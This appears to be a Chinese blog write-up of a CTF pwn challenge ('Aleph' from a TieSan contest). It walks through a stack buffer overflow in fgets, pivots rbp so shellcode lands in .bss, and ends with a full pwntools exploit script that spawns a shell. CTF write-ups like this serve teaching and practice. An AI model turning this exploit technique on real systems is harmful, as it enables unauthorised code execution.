盒子
盒子
文章目录
  1. 前言:
  2. 概述:
    1. EXP:

Aleph - TieSan

前言:

这是一道前几天铁三赛个人赛上面的一道pwn题,当时看的时候一点思路都没有,无从下手,当时还问了一下学长,跟我说是dl_resolve,结果当时看了一整天关于它的资料,最后还是没有做出来。事后继续做,发现并不是这个解决方法,而是一道直接执行shellcode的简单栈溢出。

概述:

脑子还是不够灵活,没有把弯给绕过来,一直被困在泄漏地址拿system的思维定势中,后来想了想才发现,刚学栈溢出的时候的shellcode也是很容易利用的,可惜没有想到。

check一下:

1
2
3
4
5
6
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments

什么保护也没开,64位的。再看看主函数:

1
2
3
4
5
6
void __cdecl main(int argc, const char **argv, const char **envp)
{
char yolo[1024]; // [rsp+0h] [rbp-400h]

fgets(yolo, 1337, _bss_start);
}

这里的bss_start其实就是stdin明显存在栈溢出。再看看got表中有哪些可以利用的函数:

屏幕快照 2018-06-10 下午5.08.21

就只有一个fgets函数。所以可以知道这题很大的可能性是利用写shellcode执行了。

  1. 栈上执行shellcode

搜索了一下,但是程序中并没有jmp esp,call esp,我们只能利用fgets函数。

但是调用完fgets后,rdx的值改变了,我们不能通过__libc_init_csu里的gadget来重新调用fgets,因为我们并不能正确地设置rdx的值。

这个思路失效。

  1. 利用main函数原有特性修改写入地址
1
2
3
4
5
6
7
8
9
10
11
12
13
.text:00000000004005CA ; __unwind {
.text:00000000004005CA push rbp
.text:00000000004005CB mov rbp, rsp
.text:00000000004005CE sub rsp, 400h
.text:00000000004005D5 mov rdx, cs:__bss_start ; stream
.text:00000000004005DC lea rax, [rbp+yolo]
.text:00000000004005E3 mov esi, 539h ; n
.text:00000000004005E8 mov rdi, rax ; s
.text:00000000004005EB call _fgets
.text:00000000004005F0 mov eax, 0
.text:00000000004005F5 leave
.text:00000000004005F6 retn
.text:00000000004005F6 ; } // starts at 4005CA

可以看到0x4005e8处的rdi是由rax得来的,在看rax在0x4005dc处由rbp加上偏移得来的。(实际上是-0x400)。所以这下我们就能知道,我们只需要控制了rbp的值,我们就能控制写入地址的值,所以我们就能将shellcode写入到bss段之中。

屏幕快照 2018-06-10 下午5.31.05

  1. 第一次溢出控制rbp的值
  2. 第二次溢出覆盖返回地址到bss段中

这下思路就很明确了,以下是exp。

EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *

p = process('./aleph1')
context.log_level = 'debug'
context.arch = 'amd64'

rbp_pop = 0x400538
bss_addr = 0x601038
main_offset_addr = 0x4005ce
shellcode = asm(shellcraft.sh())

#gdb.attach(p)
playload = 'A'*1032 + p64(rbp_pop) + p64(bss_addr + 0x400) + p64(main_offset_addr)
p.sendline(playload)

playload2 = shellcode + 'A'*(1032 - len(shellcode)) + p64(bss_addr)
p.sendline(playload2)

p.interactive()
支持一下
扫一扫,支持v1nke
  • 微信扫一扫
  • 支付宝扫一扫